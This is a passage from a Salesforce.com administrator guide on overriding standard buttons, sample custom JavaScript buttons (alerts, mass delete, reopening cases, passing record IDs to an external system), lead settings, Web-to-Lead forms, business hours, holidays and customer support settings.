pages with a custom controller, or pages with no controller can be selected.
When overriding lists with a Visualforce page, only Visualforce pages that use a standard list controller can be selected.
6. Optionally, enter any comments to note the reason for making this change.
7. Click Save.
Button overrides are global throughout Salesforce.com because overrides control the action behind the button. For example,
if you override the New button on opportunities, your replacement action takes affect wherever that action is available:

• The Opportunities tab home page


• Any Opportunities related lists on other objects such as accounts
• The Create New drop-down list in the sidebar
• Any browser bookmarks for this Salesforce.com page

To remove an override:

1. Click Setup ➤ Customize, select the appropriate object or tab link, and then click Buttons and Links.
For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
2. Click Reset next to the override.
3. Click OK.

See Also:
Useful S-Controls
Defining Custom Buttons and Links

660
Customize Setting Custom Buttons and Links

Considerations for Overriding Standard Buttons

Available in: Enterprise, Unlimited, and Developer Editions


Visualforce overrides also available in: Contact Manager, Group, and Professional Editions

User Permissions Needed


To override standard buttons: “Customize Application”

Before you override a standard button, review the following considerations:

• You can override a standard button to run an s-control. To learn more about creating s-controls, see Defining Custom
S-Controls on page 1041.
• You can also override a standard button with a Visualforce page. To learn more about creating Visualforce pages, see
Defining Visualforce Pages on page 1022.
• If you override a standard button in Salesforce.com, that button is still available in Connect Offline or Salesforce Mobile,
but it retains its original behavior.
• You cannot add button overrides to a Force.com AppExchange package.
• Only some standard buttons can be overridden. For example, you cannot override the Save or Sharing buttons, but you
can override New, View, Edit, and Delete buttons.
• The View standard button refers to all of the links in Salesforce.com that display the detail page for a record. Overriding
the View standard button reroutes all of these links.
• If a button is not available for overrides, you can still hide it on the page layout.
• Button overrides affect everywhere that action or behavior is available. For example, overriding the New button on an
account also overrides the account option in the Create New drop-down list in the sidebar.
• You can override buttons on the detail page but not the edit page of a record.
• Buttons on lookup dialogs and tabs cannot be changed. However, you can change the buttons on list view and search result
layouts under search layouts.
• Buttons on reports cannot be changed.
• Some standard buttons can be overridden, but none can be relocated on the detail page or relabeled.
• If your organization uses person accounts, your person account records use any standard button overrides you have made
for accounts. Your person account records also use any overrides for the View Self-Service and Enable Self-Service buttons
you have made for contacts.
• If your organization uses the console, overrides for the Edit and View buttons for an object do not affect the Edit and
View buttons in the mini page layouts. Pages that display due to overrides display in the console without the header or
sidebar.
• If you want to replace a standard button with a custom button, first define the custom button, then customize the page
layout to hide the standard button and display the custom one in its place. For more information, see Customizing Page
Layouts.

See Also:
Overriding Standard Buttons and Tab Home Pages

661
Customize Setting Custom Buttons and Links

Viewing References to Salesforce.com Components


Custom buttons and links are available in: All Editions
S-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Visualforce pages and custom components available in: Contact Manager, Group, Professional, Enterprise, Unlimited,
and Developer Editions

User Permissions Needed


To create or change custom buttons or links: “Customize Application”
To create, edit, and delete custom s-controls: “Customize Application”
To create, edit, and delete Visualforce pages and custom “Customize Application”
components
To clone, edit, or delete static resources: “Customize Application”

You can view a list of all the areas in Salesforce.com that reference a component. For example, view the custom links, custom
buttons, or page layouts that reference a custom s-control. To do this, click Where is this used? from the detail page of the
component. Salesforce.com lists the type of component that references the component and the label for that component. Click
any item in the list to view it directly.

See Also:
What is a Static Resource?
Defining Custom Buttons and Links
Custom Button Considerations
About S-Controls
Visualforce Overview
What is a Custom Component?

662
Customize Setting Custom Buttons and Links

Useful Custom Buttons and Links


User Permissions Needed
To create or change custom buttons or links: “Customize Application”

Custom buttons and links are available in: All Editions


Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions

Use the following samples to get started using custom buttons and links:

• Simple Custom Buttons


• Custom List Buttons

See Also:
Defining Custom Buttons and Links
Custom Button Considerations

Simple Custom Buttons

Displaying Alerts
You may want to display a simple alert window with text. In this example, the custom button displays a popup dialog with a
welcome message containing the user's first name, using the !$User.FirstName merge field.
1. Define a custom button with the following attributes:
• Display Type is “Detail Page Button”
• Behavior is “Execute JavaScript”
• Content Source is “OnClick JavaScript”
• Use the following sample code:

alert ("Hello {!$User.FirstName}");

2. Add the button to the appropriate page layout.

Getting Record IDs


You may want to define a custom button that opens a popup window to display a list of record IDs for the records a user has
selected in a list. This is useful when testing to determine if you are getting the record IDs correctly before processing them
with a more complex process.
1. Define a custom list button with the following attributes:

663
Customize Setting Custom Buttons and Links

• Display Type is “List Button”


Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.

• Behavior is “Execute JavaScript”


• Content Source is “OnClick JavaScript”
• Use the following sample code:

idArray = {!GETRECORDIDS($ObjectType.Contact)};
alert("The Ids you have selected are: "+idArray);

Note: This example is for contacts. Change the object type for a different type of record.

2. Add the button to the appropriate related list on a page layout or list view layout.

Custom List Buttons

Mass Delete
Your busy users may want to delete more than one record in a list view or related list with a single click. Create the following
custom list button and add it your activity related lists and list views:
1. Define a custom list button for events with the following attributes:
• Display Type is “List Button”
Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.

• Behavior is “Execute JavaScript”


• Content Source is “OnClick JavaScript”
• Use the following sample code:

{!REQUIRESCRIPT("/soap/ajax/9.0/connection.js")}

var records = {!GETRECORDIDS( $ObjectType.Event )};


var taskRecords = {!GETRECORDIDS( $ObjectType.Task)};
records = records.concat(taskRecords);

if (records[0] == null) {
alert("Please select at least one record.") }
else {

var errors = [];


var result = sforce.connection.deleteIds(records);
if (result && result.length){
var numFailed = 0;
var numSucceeded = 0;
for (var i = 0; i < result.length; i++){
var res = result[i];
if (res && res.success == 'true'){

664
Customize Setting Custom Buttons and Links

numSucceeded++;
} else {
var es = res.getArray("errors");
if (es.length > 0) {
errors.push(es[0].message);
}
numFailed++;
}
}
if (numFailed > 0){
alert("Failed: " + numFailed + "\nSucceeded: " + numSucceeded + " \n Due to: " +
errors.join("\n"));
} else {
alert("Number of records deleted: " + numSucceeded);
}
}
window.location.reload();
}

2. Add the custom list button to your activity list views.


3. Add the custom list button to any page layout that contains an activity related list. The custom button deletes any selected
task or event in the list.
You can install this custom button and others like it by going to http://sites.force.com/appexchange and browsing or searching
for the Mass Delete app.

Passing Record IDs to an External System


If you use Salesforce.com record IDs as unique identifiers for integrating with an external system, you can configure a list
button to pass those record IDs using a URL. In the example below, a list button calls a custom s-control to determine the
record IDs of the records selected in a list and passes them in a URL query parameter to an external Web page called
“www.yourwebsitehere.com.”
1. Create a custom HTML s-control that uses the GETRECORDIDS function to retrieve a list of selected records. Use
the following content for the s-control:

<script type="text/javascript">

idArray = {!GETRECORDIDS($ObjectType.Account)};

window.location.href="http://www.yourwebsitehere.com?array="+idArray;

</script>

Note: Replace www.yourwebsitehere.com with your own URL.

2. Define a custom list button for accounts with the following attributes:
• Display Type is “List Button”
Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.

• Behavior is “Display in existing window with sidebar”


• Content Source is “Custom S-Control”
• Select the s-control you created in the first step.

665
Customize Setting Custom Buttons and Links

3. Add the custom list button to the appropriate page layout or list view layout.

Reopening Cases
Related lists are valuable because they allow users to perform an action on several records at once. Add a custom list button
to your cases related lists so that users can reopen several cases on an opportunity at once.
1. Define a custom list button for cases with the following attributes:
• Display Type is “List Button”
Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.

• Behavior is “Execute JavaScript”


• Content Source is “OnClick JavaScript”
• Use the following sample code:

{!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")}

var records = {!GETRECORDIDS($ObjectType.Case)};


var newRecords = [];

if (records[0] == null)
{
alert("Please select at least one row")
}
else
{
for (var n=0; n<records.length; n++) {
var c = new sforce.SObject("Case");
c.id = records[n];
c.Status = "New";
newRecords.push(c);
}

result = sforce.connection.update(newRecords);

window.location.reload();
}

Note: This example references the AJAX Toolkit, which is available if API access is enabled for your
organization. For more information about the AJAX Toolkit, see https://wiki.apexdevnet.com/index.php/API.

2. Add the custom list button to your opportunity page layouts by editing the Cases related list.
Tip: Use this list button on any page layout that contains the cases related list, such as account or contact page
layouts.

Note: Notice the check for records[0] == null, which displays a message to users when they do not select at
least one record in the list.

666
Customize Setting Up Lead Management

Setting Up Lead Management


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Success in sales starts by building a strong pipeline of leads. A lead is a prospect who is interested in your company.
Using leads can give your sales staff instant access to the latest prospects and ensures that no leads are ever dropped. Successful
lead management helps sales and marketing manage the inbound lead process, track lead sources, and analyze return on their
marketing investment.
To get started using lead management, click Setup ➤ Customize ➤ Leads:

• Click Fields to create custom lead fields that track information specific to your company; see Creating Custom Fields on
page 439. Also, map your custom lead fields to account, contact, and opportunity fields so that the data gets converted
when users convert leads; see Mapping Custom Lead Fields on page 669. Edit the Lead Status picklist to choose the
default status for new and converted leads; see Updating Picklists on page 423.
• Click Settings to specify your default lead settings. See Customizing Lead Settings on page 667.
• Click Assignment Rules to set up lead assignment rules that automatically assign leads; see Managing Assignment Rules
on page 699.
• Click Web-to-Lead to automatically capture leads from your website. See Setting Up Web-to-Lead on page 671.

To create sales queues for leads or custom objects, click Setup ➤ Manage Users ➤ Queues. See Managing Queues on page
170.

Customizing Lead Settings


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change lead settings: “Customize Application”

To optimize the lead management features, you must edit the lead settings to specify certain defaults.

1. Click Setup ➤ Customize ➤ Leads ➤ Settings.


2. Click Edit to customize the following defaults:

Field Description
Default Lead Owner The user or queue to which leads will be assigned if the active
assignment rule fails to locate an owner. This applies to leads
captured online and leads that a user manually creates or
edits with the auto-assign checkbox enabled.
Notify Default Lead Owner Checkbox to indicate whether Salesforce.com sends a
notification to the default lead owner when assigning a lead

667
Customize Customizing Lead Settings

Field Description
to him or her. Default Lead Owner selected must be a
user.
Record Type Setting If a user creating a new lead applies assignment rules, this
setting indicates which record type to assign to the new
record. If you want new leads to keep the creator’s record
type, check Keep the existing record type. If you
want to overwrite the creator’s record type when applying
assignment rules, check Override the existing
record type with the assignee’s default
record type.

Enable Validation and Triggers from Lead When selected, enables the following operations when you
Convert convert leads:
• Enforcement of universally required custom fields.
• Enforcement of validation rules. Note that if validation
rules exist for activities and you create an activity during
lead conversion, the lead converts but a task is not
created.
• Workflow actions on leads such as field updates,
automatic task assignments, and transfers. Note that
existing time-based workflow actions on leads do not get
triggered as part of lead conversion.
• Execution of Apex before triggers that fire before the
insertion of accounts, contacts, or opportunities. In
addition, execution of Apex before triggers that fire
before the update of accounts or contacts.

Note: When Enable Validation and


Triggers from Lead Convert is selected, if
the lead conversion creates an opportunity and the
opportunity has Apex before triggers associated with
it, the triggers run immediately after the opportunity
is created, before the opportunity contact role is
created.

Do Not Change Lead Status Values to New If your organization uses record types, you can create a lead
Owner's Record Type on Lead Conversion process that allows you to provide different Lead Status
values for different record types. If Do Not Change Lead
Status Values to New Owner's Record Type on
Lead Conversion is selected, the Lead Status does
not change to the new owner's default value during lead
conversion. If this setting it is not selected, the Lead
Status may change during lead conversion if the new
owner's record type has a different default value for Lead
Status.

668
Customize Mapping Custom Lead Fields

Mapping Custom Lead Fields


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To map lead fields: “Customize Application”

When you convert a qualified lead, the information from the standard lead fields is inserted into standard account, contact,
and opportunity fields (see Lead Conversion Mapping on page 1686). If your organization has custom lead fields, you can specify
how you want that custom information converted into custom account, contact, or opportunity fields.
To specify the mapping for custom lead fields:

1. Select Setup ➤ Customize ➤ Leads ➤ Fields ➤ Map Lead Fields.


2. For each custom lead field, choose a custom account, contact, or opportunity field into which you want the information
inserted when you convert a lead.
3. Click Save.

• Remember to map custom lead fields to other custom fields of the same data type, that is, map numeric lead fields to other
numeric fields or long text area fields to other long text area fields.
Some exceptions are:

- You can map between text and picklist fields. However, your data may become truncated if the mapped text field is
not large enough to hold the entire lead picklist value.
- You can map fields of type Text or Text Area to long text area fields
- You can map auto-number fields to fields of type Text, Text Area, or Picklist.
- Do not map custom formula fields to other formula fields or any other type of field.
- Roll-up summary fields are not available for mapping lead fields of converted leads.

• Remember to map custom lead fields of type number, currency, or percent to other number, currency, or percent fields of
exactly the same length and decimal places. For example, if your lead currency field has a length of 3 and 2 decimal places,
map it to another custom currency field with a length of 3 and 2 decimal places.
• Any standard lead picklist fields that are blank are mapped to the default picklist values for the account, contact, and
opportunity.

Note: If you change the data type of any custom field used for lead conversion, that lead field mapping will be deleted.

See Also:
Converting Leads

669
Customize Capturing Web Leads

Capturing Web Leads


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Web-to-Lead: “Customize Application”

With Web-to-Lead, you can gather information from your company’s website and automatically generate up to 500 new leads
a day.
Your company may already have a registration or other type of page where users enter their contact information. You may also
want to create a jump page where prospects respond to a campaign. With a little extra HTML code, you can redirect that
information to Salesforce.com to create new leads.
See Preparing to Set Up Web-to-Lead on page 670 for the steps to prepare for setting up Web-to-Lead.
See Setting Up Web-to-Lead on page 671 for the steps to set up Web-to-Lead.

See Also:
Managing Assignment Rules
Managing Queues
Customizing Lead Settings
Assigning Leads
Displaying and Editing Leads
Creating Leads
Converting Leads
Setting Up Auto-Response Rules

Preparing to Set Up Web-to-Lead


Available in: Group, Professional, Enterprise, Unlimited, and DeveloperEditions

User Permissions Needed


To set up Web-to-Lead: “Customize Application”

Before setting up Web-to-Lead, you need to:

• Create custom lead fields, if needed, and specify how they’ll map to custom account, contact, and opportunity fields during
lead conversion. See Creating Custom Fields on page 439 and Mapping Custom Lead Fields on page 669.
• Edit the Lead Status picklist to set the default status for new and converted leads. See Updating Picklists on page 423.

670
Customize Capturing Web Leads

• Create public email templates for the automated notification email that will be sent to prospects upon submission of each
web lead. If you plan to set up email response rules to use different email templates depending on the information submitted,
create one default template to send when none of your response rules apply. (see Managing Email Templates on page 109
and Setting Up Auto-Response Rules on page 708).
Note: Auto-response rules are not available in Group Edition.

• Create lead queues if you wish to assign incoming leads to queues (see Managing Queues on page 170).
• Customize the Lead Settings to select the default owner of leads that fail to meet the criteria in your assignment rule (see
Customizing Lead Settings on page 667).
• Create an active lead assignment rule to determine how web-generated leads are assigned to multiple users or queues (see
Managing Assignment Rules on page 699). If you do not set an active assignment rule, all web-generated leads are assigned
to the default owner you specify in the Lead Settings.

See Also:
Setting Up Web-to-Lead
Capturing Web Leads

Setting Up Web-to-Lead
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Web-to-Lead: “Customize Application”

To set up Web-to-Lead:

1. Click Setup ➤ Customize ➤ Leads ➤ Web-to-Lead.


2. Click Edit to enable or modify the following Web-to-Lead settings:

Web-to-Lead Setting Description


Web-to-Lead Enabled Enables Web-to-Lead.
Default Lead Creator The user who will be listed as the creator of online leads and
who will appear as the sender of email responses. This user
must have the System Administrator profile or the “Modify
All Data” and “Send Email” permissions.

671
Customize Capturing Web Leads

Web-to-Lead Setting Description


Default Response Template The default response template to use for the email response
that is automatically sent to prospects when they submit an
online lead.
If you set up response rules to use different email templates
based on the information submitted, the default response
template is used when no auto-response rules on page 708
apply. Leave this option blank if you do not wish to send
emails when no response rules apply. This template must be
marked as “Available for Use.”
Note: Auto-response rules are not available in
Group Edition.

3. Click Save.
4. To create a Web-to-Lead form, click Create Web-to-Lead Form on the Web-to-Lead Setup page.
5. Select fields to include on your Web-to-Lead form. Use the Add and Remove arrows to move fields between the Available
Fields list and the Selected Fields list, and use the Up and Down arrows to change the order of the fields on your form.

• Select the Campaign field (and optionally, the Campaign Member Status field) if you are using Web-to-Lead as
part of a campaign.
• For organizations using multiple currencies, add the Lead Currency field if you add currency amount fields, otherwise
all amounts will be captured in your corporate currency.
• Use a custom multi-select picklist to allow potential customers to express interest in several products.
• For organizations using lead record types, select the Lead Record Type field if you want users to select a record type
for Web-generated leads.

6. If your organization uses the translation workbench or has renamed tabs, select the language for the form labels displayed
on your Web-to-Lead form. The source of your Web-to-Lead form is always in your personal language.
7. Specify the complete URL to which users should be directed after they submit their information—for example, your
company's home page for a thank you page—and click Generate.
8. Copy the generated HTML code and provide it to your company's webmaster to incorporate into your website.
9. Click Finished.

To test the Web-to-Lead form, add the line <input type="hidden" name="debug" value="1"> to your code. This
line redirects you to a debugging page when you submit the form. Remove this line before releasing the Web-to-Lead page
to your website.
Leads generated from your website are initially marked with the “default status” specified by the Lead Status picklist. For
Web leads generated as part of a campaign, the member status of the new leads is set to the Member Status value specified
in the form, or to the “default” member status if the Member Status field is not included in the form.
In addition, new leads are marked as “Unread,” and are changed to “Read” when viewed or edited by the lead owner. Users
can select the My Unread Leads list view to quickly locate their new leads.

672
Customize Setting Up Customer Support

Note: The format for date and currency fields captured online is taken from your organization’s default settings -
Default Locale and Currency Locale.

If your organization exceeds its daily Web-to-Lead limit, the Default Lead Creator (specified in the Web-to-Lead
setup) receives an email containing the additional lead information. If a new lead cannot be generated due to errors
in your Web-to-Lead setup, Customer Support is notified of the problem so that we can help you correct it.
Salesforce.com runs field validation rules before creating records submitted via Web-to-Lead and only creates records
that have valid values.
All universally required fields must have a value before a record can be created via Web-to-Lead.

See Also:
Preparing to Set Up Web-to-Lead
Capturing Web Leads

Setting Up Customer Support


The available support setup options vary according to which Salesforce.com Edition you have.

If your organization uses cases and solutions, you can set up various automated support features. Click Setup ➤ Customize
➤ Cases.

• Click Business Hours to set your organization’s support hours.


• Click Assignment Rules to create rules for automatically routing cases.
• Click Escalation Rules to create rules for automatically escalating cases.
• Click Support Settings to customize email templates and defaults for automated support features.
• Click Auto-Response Rules to set up rules that send email to customers when they submit cases from one of the following:

- A Web-to-Case form
- An Email-to-Case message
- An On-Demand Email-to-Case message
- A Customer Portal
- A Self-Service portal

• Click Email-to-Case to set up the ability to capture customer emails as cases. The setup specifies how the content of each
customer email automatically populates case fields.

For support features related to solutions, click Setup ➤ Customize ➤ Solutions.

• Click Solution Categories to set up categories so your users can categorize the solutions they create.
• Click Solution Settings to enable specific options for solutions.

For additional support features, click Setup ➤ Customize ➤ Self-Service.

• Click Public Solutions to set up public solutions for your customers to use when searching for solutions.
• Click Web-to-Case to set up the ability to capture cases from your website.
• Click Self-Service Portal to set up your organization’s web portal for your customers to log cases and search for solutions.

673
Customize Setting Business Hours

For support features related to a Salesforce.com Customer Portal, click Setup ➤ Customize ➤ Customer Portal.

• Click Settings to set up your organization's Customer Portal so that your customers can log cases, search for solutions,
and access any custom objects you may have created for them.

For support features related to Salesforce CRM Call Center, click Setup ➤ Customize ➤ Call Center.

• Click Call Centers to set up new call centers and manage the users who are assigned to them.
• Click Directory Numbers to set up additional phone numbers that can be searched in a call center user's phone directory.
• Click SoftPhone Layouts to set up the layouts that are used to display call information in a call center user's SoftPhone.

To create support queues for cases or custom objects, click Setup ➤ Manage Users ➤ Queues.
The support features include the ability to notify customers when their case is created manually or via the web, or when their
case is resolved. You can also automatically notify users when a case is escalated, created, or re-assigned. To use notification
emails, you must create email templates for each type of notification.

See Also:
Setting Up Your Organization
Administrator tip sheet: Setting Up Customer Support
Administrator tip sheet: Getting the Most from Your Self-Service Portal
Administrator setup guide: Self-Service Implementation Guide
Administrator setup guide: Case Management Implementation Guide

Setting Business Hours


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set business hours: “Manage Business Hours Holidays”

You can specify the business hours at which your customer support team operates, including multiple business hours in multiple
time zones. Setting business hours enables you to:

• Associate cases with specific time zones and locations


• Escalate cases according to specific time zones and locations

After you set business hours, users can click the Business Hours lookup field on a case to associate the case with the times
at which a customer support team operates. Additionally, users with the “Customize Application” permission can associate
business hours with escalation rules so that when the details of a case match the criteria of an escalation rule, the case is
automatically updated and escalated with the times and location on the rule. By default, business hours are set 24 hours, seven
days a week in the default time zone specified in your organization's profile. For more information, see Setting Up Your
Organization on page 70 and Setting Up Escalation Rules on page 704.
To set business hours:

1. Click Setup ➤ Company Profile ➤ Business Hours.

674
Customize Setting Business Hours

2. Click New Business Hours.


3. Enter a name for the business hours.
We recommend that you enter text in the Business Hours Name field that will remind users of a location or time zone
when they view business hours on a case. For example, if your business hours are for a support center in San Francisco,
you could enter San Francisco Business Hours.
4. Click Active to allow users to associate the business hours with cases and escalation rules.
After business hours are set to active, you can deselect the Active checkbox to deactivate the business hours so that users
can no longer associate them with cases and escalation rules. You cannot delete business hours.
5. Optionally, click Use these business hours as the default to set the business hours as the default business
hours on all new cases.
Default business hours on cases can be updated with business hours on escalation rules if the cases match escalation rule
criteria and the rule is set to override business hours. For details, see Setting Up Escalation Rules on page 704.
6. Choose a time zone to associate with the business hours in the Time Zone drop-down list.
7. Set your business hours for each day of the week:

• By default, the 24 hours checkbox is selected next to each day. Deselect this checkbox if your support team is
unavailable during the entire day. When you deselect the 24 hours checkbox, you can enter start and end times for
the business hours.
• Choose the start and end times for the business hours.If a time is not available for you to choose from, click the field
and enter the time. Start times must be earlier than end times.

8. Click Save.
9. Optionally associate the business hours to:

• Escalation rules so that when the details of a case match the criteria of an escalation rule, the case is updated and
escalated with the business hours on the rule. For more information, see Setting Up Escalation Rules on page 704.
• Holidays so that business hours and any escalation rules associated with business hours are suspended during the dates
and times specified in holidays. For more information, see Setting Holidays on page 676.

To update business hours, click Setup ➤ Company Profile ➤ Business Hours and click the Edit link next to the name of
the business hours you wish to update.

Tips on Setting Business Hours


Consider the following when setting business hours:
• After you set business hours, add the Business Hours lookup field to case layouts and set field-level security on the
Business Hours field. This allows users to view and update business hours on a case. For more information, see
Customizing Page Layouts on page 620 and Setting Field-Level Security on page 217.
• Business hours on a case are automatically set to your organization's default business hours, unless the case matches the
criteria on an escalation rule associated with different business hours.
• Salesforce.com automatically calculates daylight savings times for the time zones available for business hours.
• Escalation rules only run during the business hours with which they are associated. For more information, see Setting Up
Escalation Rules on page 704.
• You can update cases associated with business hours that are no longer active without having to replace the inactive business
hours with active business hours.
• You cannot include the Business Hours field in list views or reports.
• You can create multiple business hours for support teams that operate in the same time zone but at different hours.

675
Customize Setting Holidays

• For simplicity, we recommend that you create one set of business hours per support center.
• You cannot deactivate business hours that are included in escalation rules. To deactivate business hours used by escalation
rules, you must first remove the business hours from the escalation rules. For more information, see Setting Up Escalation
Rules on page 704.
• You can associate up to 1000 holidays with each set of business hours.

See Also:
Managing Escalation Rules
Setting Up Customer Support

Setting Holidays
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set holidays: “Manage Business Hours Holidays”

Holidays enable you to specify the dates and times at which your customer support team is unavailable. After you create a
holiday, you can associate it with business hours to suspend business hours and escalation rules during the dates and times
specified in the holiday. For more information, see Setting Business Hours on page 674 and Setting Up Escalation Rules on
page 704.
To set holidays:

1. Click Setup ➤ Company Profile ➤ Holidays.

• Click Edit to edit an existing holiday.


• Click Del to delete an existing holiday.
You can only delete a holiday that is not associated with any business hours.
• Click Clone next to an elapsed holiday to clone it.
The Elapsed Holidays related list displays holidays that have occurred in the past. You can only clone elapsed holidays.

If the Go to list link appears at the bottom of the Holidays or Elapsed Holidays related list, click it to display all the
items. From the list you can edit or delete any existing holiday, or clone any elapsed holiday.
Caution: Any elapsed holidays that you delete are not moved to the Recycle Bin. They cannot be recovered.

The recurring icon ( ) displays next to the date and time of recurring holidays.
2. Click New.
3. Enter a name for the holiday.
4. Enter a date for the holiday.

676
Customize Setting Holidays

If you want the holiday to span more than one day:

a. Select the Recurring Holiday checkbox


b. Enter the first day of the holiday in the Start Date field.
c. Deselect the No End Date checkbox in the End Date field.
d. Enter the last day of the holiday in the End Date field.

5. Optionally, you can:

• Specify the exact times at which the holiday takes place by deselecting the All Day checkbox next to the Time field
and entering the exact times.
• Select the Recurring Holiday checkbox to schedule the holiday to recur during specific dates and times:

- In the Frequency field, select the frequency at which the holiday recurs. When you click the Daily, Weekly, or
Monthly fields, more options display that allow you to refine frequency criteria.
- In the Start Date and End Date fields, specify the dates during which you wish the holiday to recur.
The following error message displays if you select a start date and end date that does not correspond with the
frequency you selected: The recurring holiday has no occurrence.

6. Click Save.
7. Click Add/Remove on the Business Hours related list.
8. Add or remove business hours to the holiday by selecting business hours in the Available Business Hours column, and
clicking the Add or Remove arrows to add or remove business hours to the Selected Business Hours column.
9. Click Save.

Tips on Setting Holidays


Consider the following when setting holidays:
• You can associate a holiday with multiple business hours.
• You can associate up to 1000 holidays with each set of business hours.
• Holidays automatically acquire the time zone of the business hours with which they are associated. For example if you
associate a holiday to business hours that are in Pacific Standard Time, the holiday will take effect for those business hours
in Pacific Standard Time.
• Holiday names do not need to be unique. For example, you could enter multiple holidays named New Year's Day.
• Currently, there are no limits to how many holidays you can create for your organization.
• Currently, report results do not take into account holidays.
• If you schedule a holiday to recur on a specific day of every month, the holiday will only recur on months that have that
specific day. For example, if you schedule a holiday on the 31st day of every month, then the holiday will only recur on
months that have 31 days. If you want a holiday to recur on the last day of every month, choose last from the On day of
every month drop-down list.
• You can only add business hours marked as Active to holidays. For more information, see Setting Business Hours on
page 674.

677
Customize Customizing Support Settings

Customizing Support Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change support settings: “Manage Cases”
AND
“Customize Application”

To optimize the automated support features, you can edit the Support Settings to specify certain templates and defaults.

1. Click Setup ➤ Customize ➤ Cases ➤ Support Settings.


2. Click Edit to customize the following defaults and templates:

Field Description
Default Case Owner The user or queue to which all cases are assigned if they fail
to match any of the case assignment rule entries. This user
cannot be inactive.
Notify Default Case Owner Checkbox that specifies whether the default case owner should
be notified when a case is assigned to him or her. When the
new owner is a queue, notice is sent to the queue email address.
Email notices are system-generated and cannot be modified.
Record Type Setting If a user creating a new case applies assignment rules, this
setting indicates which record type to assign to the new record.
If you want new cases to keep the creator's record type, select
Keep the existing record type. If you want to
overwrite the creator's record type when applying assignment
rules, select Override the existing record type
with the assignee's default record type.

Automated Case User The user listed in the Case History related list for automated
case changes resulting from assignment rules, escalation rules,
On-Demand Email-to-Case, or cases logged in the
Self-Service portal. This user must have the System
Administrator profile or the “Modify All Data” and “Send
Email” permissions.
Case Creation Template The template to use when notifying contacts that their case
was created manually by a support representative. Sending the
notification email is optional and is triggered by a checkbox
on the case edit page. This template must be marked as
“Available for Use.”

678
Customize Customizing Support Settings

Field Description
Case Assigned Template The template to use when notifying users that a case was
manually assigned to them by an administrator or other user.
Sending the notification email is optional and is triggered by
a checkbox on the Change Case Owner page. This template
must be marked as “Available for Use.”
Case Close Template The template to use when notifying contacts that a case has
been closed. Sending the notification email is optional and is
triggered by a checkbox on the Close Case page. This template
must be marked as “Available for Use.”
Enable Case Comment Notification to Contacts Checkbox that specifies whether contacts who are not
Self-Service portal users can receive an email notification when
a case comment has been modified or added to a case. If you
choose this option, click the Case Comment Template
lookup field and select the email template to be used for these
email notifications. This template must be marked as
“Available for Use.”
Notify Case Owner of New Case Comments Sends a notification to the case owner whenever another user
adds a public or private comment to a case. When this is
checked, case owners cannot opt out of receiving these notices.
Early Triggers Enabled This check box applies to escalation rules and their actions.
You can set up an escalation rule to perform an action when
a case has been unresolved a specified number of hours. The
Age Over hour you specify determines when Salesforce.com
performs the escalation action. To ensure that your escalation
actions are triggered before the Age Over hour you specify,
enable early triggers.
Enable Suggested Solutions Use this checkbox to enable the Suggested Solutions button
on case detail pages so that support reps and Salesforce.com
Customer Portal users can view solutions that may help them
solve the particular case they are viewing.
To learn more about suggested solutions, see What are
Suggested Solutions? on page 2108. To learn how to write
solutions so they are more likely to be found using suggested
solutions, see Tips on Writing Solutions on page 2117. Note
that suggested solutions does not display Salesforce Knowledge
articles.
For more information about how Salesforce.com Customer
Portal users can self-close their own cases directly from
suggested solutions, see Enabling Customer Portal Login and
Settings on page 1434.
For information about setting up suggested solutions for your
Self-Service portal, see Customize the Suggested Solutions
Page on page 729.

679
Customize Customizing Support Settings

Field Description
Send Case Notifications from System Address Select this checkbox to specify that case comment, attachment,
and assignment notifications sent to case owners are sent from
a system address, rather than the address of the user who
updated the case.
System notifications display a “From” email address of
“noreply@salesforce.com”, and an email “Name” related to the
message, such as “Case Comment Notification”.
You can select this checkbox to prevent Self-Service or
Customer Portal users who update their cases from receiving
any “out-of-office” emails from case owners whose email is
set to “out-of-office”.

Notify Case Owners when Case Ownership Select this checkbox to specify that the Send Notification
Changes Email checkbox on cases is automatically selected when users
change a case owner to another user. Selecting this checkbox
helps prevent users from forgetting to notify other users that
they are the new owner of a case.
Note that selecting this checkbox does not specify that the
Send Notification Email checkbox is automatically
selected when users change a case owner to a queue. See
Managing Queues on page 170.

Show Closed Statuses in Case Status Field Select this checkbox to add closed statuses to the Status field
on cases so that users can close cases without having to click
the Close Case button and update information on close case
page layouts. See Closing Cases on page 1345.
Selecting Show Closed Statuses in Case Status
Field doesn't remove the Close button from case list views.
Instead, it adds Closed to the list of statuses available for users
to choose from when they select multiple cases and click
Change Status on case list views. See Viewing Case Lists
on page 1328.

Hide Save & Close Button and Cls Links After selecting Show Closed Statuses in Case
Status Field as described above, you can select this
checkbox so that the Save & Close button on case edit
pages and Cls links on Cases related lists don't display

680
Customize Enabling Public Solutions

Field Description
unnecessarily. Instead, users close cases via the Status field
and Save button.

See Also:
Managing Email Templates
Managing Queues
Managing Assignment Rules
Managing Escalation Rules
Capturing Web Cases
Setting Up Customer Support

Enabling Public Solutions


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable web access to solutions: “Customize Application”

Using the Solutions tab, your customer support team can create solutions that people outside of your organization may find
helpful. Using HTML code supplied by Salesforce.com, and with the help of your website administrator, you can add a search
box and button to your website that allows your customers to search for solutions. This functionality is known as Public
Solutions.
With public solutions, your customers can find answers to frequently asked questions without having to call your customer
support center. All solutions with a Status of Reviewed and the Visible in Public Knowledge Base field checked
will be available as public solutions, including any solution attachments.
